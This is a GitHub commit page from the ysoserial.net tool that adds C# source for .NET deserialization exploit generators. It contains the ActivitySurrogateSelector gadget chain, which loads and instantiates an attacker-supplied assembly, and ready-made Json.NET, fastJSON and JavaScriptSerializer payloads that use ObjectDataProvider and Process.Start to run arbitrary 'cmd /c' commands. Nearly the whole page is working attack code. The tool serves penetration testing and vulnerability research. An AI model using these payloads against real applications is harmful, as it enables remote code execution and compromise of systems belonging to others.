-
Notifications
You must be signed in to change notification settings - Fork 469
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
16 changed files
with
795 additions
and
3 deletions.
There are no files selected for viewing
Empty file.
Empty file.
Empty file.
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
using System; | ||
using System.Windows.Forms; | ||
|
||
namespace ysoserial | ||
{ | ||
class ExploitClass | ||
{ | ||
public ExploitClass() | ||
{ | ||
try | ||
{ | ||
// Payload code to be executed | ||
MessageBox.Show("Pwned", "Pwned", MessageBoxButtons.OK, MessageBoxIcon.Error); | ||
} | ||
catch (Exception) | ||
{ | ||
} | ||
} | ||
} | ||
} |
152 changes: 152 additions & 0 deletions
152
ysoserial/Generators/ActivitySurrogateSelectorGenerator.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,152 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Collections; | ||
using System.ComponentModel.Design; | ||
using System.Data; | ||
using System.IO; | ||
using System.Reflection; | ||
using System.Runtime.Serialization.Formatters.Binary; | ||
using System.Web.UI.WebControls; | ||
using System.Runtime.Serialization; | ||
|
||
namespace ysoserial.Generators | ||
{ | ||
class MySurrogateSelector : SurrogateSelector | ||
{ | ||
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) | ||
{ | ||
selector = this; | ||
if (!type.IsSerializable) | ||
{ | ||
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); | ||
return (ISerializationSurrogate)Activator.CreateInstance(t); | ||
} | ||
|
||
return base.GetSurrogate(type, context, out selector); | ||
} | ||
|
||
} | ||
|
||
[Serializable] | ||
public class PayloadClass : ISerializable | ||
{ | ||
public PayloadClass() | ||
{ | ||
} | ||
|
||
protected PayloadClass(SerializationInfo info, StreamingContext context) | ||
{ | ||
} | ||
|
||
public void GetObjectData(SerializationInfo info, StreamingContext context) | ||
{ | ||
System.Diagnostics.Trace.WriteLine("In GetObjectData"); | ||
|
||
// Build a chain to map a byte array to creating an instance of a class. | ||
// byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win! | ||
List<byte[]> data = new List<byte[]>(); | ||
data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location)); | ||
var e1 = data.Select(Assembly.Load); | ||
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes")); | ||
var e2 = e1.SelectMany(map_type); | ||
var e3 = e2.Select(Activator.CreateInstance); | ||
|
||
// PagedDataSource maps an arbitrary IEnumerable to an ICollection | ||
PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; | ||
// AggregateDictionary maps an arbitrary ICollection to an IDictionary | ||
// Class is internal so need to use reflection. | ||
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); | ||
|
||
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. | ||
DesignerVerb verb = new DesignerVerb("XYZ", null); | ||
// Need to insert IDictionary using reflection. | ||
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); | ||
|
||
// Pre-load objects, this ensures they're fixed up before building the hash table. | ||
List<object> ls = new List<object>(); | ||
ls.Add(e1); | ||
ls.Add(e2); | ||
ls.Add(e3); | ||
ls.Add(pds); | ||
ls.Add(verb); | ||
ls.Add(dict); | ||
|
||
Hashtable ht = new Hashtable(); | ||
|
||
// Add two entries to table. | ||
ht.Add(verb, "Hello"); | ||
ht.Add("Dummy", "Hello2"); | ||
|
||
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); | ||
Array keys = (Array)fi_keys.GetValue(ht); | ||
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); | ||
for (int i = 0; i < keys.Length; ++i) | ||
{ | ||
object bucket = keys.GetValue(i); | ||
object key = fi_key.GetValue(bucket); | ||
if (key is string) | ||
{ | ||
fi_key.SetValue(bucket, verb); | ||
keys.SetValue(bucket, i); | ||
break; | ||
} | ||
} | ||
|
||
fi_keys.SetValue(ht, keys); | ||
|
||
ls.Add(ht); | ||
|
||
// Wrap the object inside a DataSet. This is so we can use the custom | ||
// surrogate selector. Idiocy added and removed here. | ||
info.SetType(typeof(System.Data.DataSet)); | ||
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary); | ||
info.AddValue("DataSet.DataSetName", ""); | ||
info.AddValue("DataSet.Namespace", ""); | ||
info.AddValue("DataSet.Prefix", ""); | ||
info.AddValue("DataSet.CaseSensitive", false); | ||
info.AddValue("DataSet.LocaleLCID", 0x409); | ||
info.AddValue("DataSet.EnforceConstraints", false); | ||
info.AddValue("DataSet.ExtendedProperties", (PropertyCollection)null); | ||
info.AddValue("DataSet.Tables.Count", 1); | ||
BinaryFormatter fmt = new BinaryFormatter(); | ||
MemoryStream stm = new MemoryStream(); | ||
fmt.SurrogateSelector = new MySurrogateSelector(); | ||
fmt.Serialize(stm, ls); | ||
info.AddValue("DataSet.Tables_0", stm.ToArray()); | ||
} | ||
} | ||
|
||
class ActivitySurrogateSelectorGenerator : GenericGenerator | ||
{ | ||
|
||
public override string Description() | ||
{ | ||
return "ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class."; | ||
} | ||
|
||
public override List<string> SupportedFormatters() | ||
{ | ||
return new List<string> { "BinaryFormatter", "ObjectStateFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter" }; | ||
} | ||
|
||
public override Boolean IsSupported(string formatter) | ||
{ | ||
var formatters = SupportedFormatters(); | ||
var lowercased = formatters.Select(x => x.ToLower()).ToList(); | ||
if (lowercased.Contains(formatter.ToLower())) return true; | ||
else return false; | ||
} | ||
|
||
public override string Name() | ||
{ | ||
return "ActivitySurrogateSelector"; | ||
} | ||
|
||
public override object Generate(string cmd, string formatter, Boolean test) | ||
{ | ||
PayloadClass payload = new PayloadClass(); | ||
return Serialize(payload, formatter, test); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
|
||
namespace ysoserial.Generators | ||
{ | ||
interface Generator | ||
{ | ||
string Name(); | ||
string Description(); | ||
List<string> SupportedFormatters(); | ||
object Generate(string cmd, string formatter, Boolean test); | ||
object Serialize(object cmdobj, string formatter, Boolean test); | ||
Boolean IsSupported(string formatter); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,205 @@ | ||
using fastJSON; | ||
using Newtonsoft.Json; | ||
using System; | ||
using System.Collections.Generic; | ||
using System.IO; | ||
using System.Runtime.Serialization; | ||
using System.Runtime.Serialization.Formatters.Binary; | ||
using System.Runtime.Serialization.Formatters.Soap; | ||
using System.Web.UI; | ||
using System.Web.Script.Serialization; | ||
|
||
namespace ysoserial.Generators | ||
{ | ||
abstract class GenericGenerator : Generator | ||
{ | ||
public abstract string Description(); | ||
|
||
public abstract object Generate(string cmd, string formatter, Boolean test); | ||
|
||
public abstract bool IsSupported(string formatter); | ||
|
||
public abstract string Name(); | ||
|
||
public abstract List<string> SupportedFormatters(); | ||
|
||
public object Serialize(object cmdobj, string formatter, Boolean test) | ||
{ | ||
MemoryStream stream = new MemoryStream(); | ||
|
||
if (formatter.ToLower().Equals("binaryformatter")) | ||
{ | ||
BinaryFormatter fmt = new BinaryFormatter(); | ||
fmt.Serialize(stream, cmdobj); | ||
if (test) | ||
{ | ||
try | ||
{ | ||
stream.Position = 0; | ||
fmt.Deserialize(stream); | ||
} | ||
catch { | ||
} | ||
} | ||
return stream.ToArray(); | ||
} | ||
else if (formatter.ToLower().Equals("objectstateformatter")) | ||
{ | ||
ObjectStateFormatter osf = new ObjectStateFormatter(); | ||
osf.Serialize(stream, cmdobj); | ||
if (test) | ||
{ | ||
try | ||
{ | ||
stream.Position = 0; | ||
osf.Deserialize(stream); | ||
} | ||
catch | ||
{ | ||
} | ||
} | ||
return stream.ToArray(); | ||
} | ||
else if (formatter.ToLower().Equals("soapformatter")) | ||
{ | ||
SoapFormatter sf = new SoapFormatter(); | ||
sf.Serialize(stream, cmdobj); | ||
if (test) | ||
{ | ||
try | ||
{ | ||
stream.Position = 0; | ||
sf.Deserialize(stream); | ||
} | ||
catch | ||
{ | ||
} | ||
} | ||
return stream.ToArray(); | ||
} | ||
else if (formatter.ToLower().Equals("netdatacontractserializer")) | ||
{ | ||
NetDataContractSerializer ndcs = new NetDataContractSerializer(); | ||
ndcs.Serialize(stream, cmdobj); | ||
if (test) | ||
{ | ||
try | ||
{ | ||
stream.Position = 0; | ||
ndcs.Deserialize(stream); | ||
} | ||
catch | ||
{ | ||
} | ||
} | ||
return stream.ToArray(); | ||
} | ||
else if (formatter.ToLower().Equals("losformatter")) | ||
{ | ||
LosFormatter lf = new LosFormatter(); | ||
lf.Serialize(stream, cmdobj); | ||
if (test) | ||
{ | ||
try | ||
{ | ||
stream.Position = 0; | ||
lf.Deserialize(stream); | ||
} | ||
catch | ||
{ | ||
} | ||
} | ||
return stream.ToArray(); | ||
} | ||
else if (formatter.ToLower().Equals("json.net")) | ||
{ | ||
String payload = @"{ | ||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', | ||
'MethodName':'Start', | ||
'MethodParameters':{ | ||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', | ||
'$values':['cmd','/c " + cmdobj + @"'] | ||
}, | ||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} | ||
}"; | ||
if (test) | ||
{ | ||
try | ||
{ | ||
Object obj = JsonConvert.DeserializeObject<Object>(payload, new JsonSerializerSettings | ||
{ | ||
TypeNameHandling = TypeNameHandling.Auto | ||
}); ; | ||
} | ||
catch | ||
{ | ||
} | ||
} | ||
return payload; | ||
} | ||
else if (formatter.ToLower().Equals("fastjson")) | ||
{ | ||
String payload = @"{ | ||
""$types"":{ | ||
""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"", | ||
""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"", | ||
""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3"" | ||
}, | ||
""$type"":""1"", | ||
""ObjectInstance"":{ | ||
""$type"":""2"", | ||
""StartInfo"":{ | ||
""$type"":""3"", | ||
""FileName"":""cmd"", | ||
""Arguments"":""/c " + cmdobj + @""" | ||
} | ||
}, | ||
""MethodName"":""Start"" | ||
}"; | ||
if (test) | ||
{ | ||
try | ||
{ | ||
var instance = JSON.ToObject<Object>(payload); | ||
|
||
} | ||
catch | ||
{ | ||
} | ||
} | ||
return payload; | ||
} | ||
else if (formatter.ToLower().Equals("javascriptserializer")) | ||
{ | ||
String payload = @"{ | ||
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', | ||
'MethodName':'Start', | ||
'ObjectInstance':{ | ||
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', | ||
'StartInfo': { | ||
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', | ||
'FileName':'cmd', | ||
'Arguments':'/c " + cmdobj + @"' | ||
} | ||
} | ||
}"; | ||
if (test) | ||
{ | ||
try | ||
{ | ||
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver()); | ||
var json_req = jss.Deserialize<Object>(payload); | ||
} | ||
catch | ||
{ | ||
} | ||
} | ||
return payload; | ||
} | ||
else | ||
{ | ||
throw new Exception("Formatter not supported"); | ||
} | ||
} | ||
} | ||
} |
Oops, something went wrong.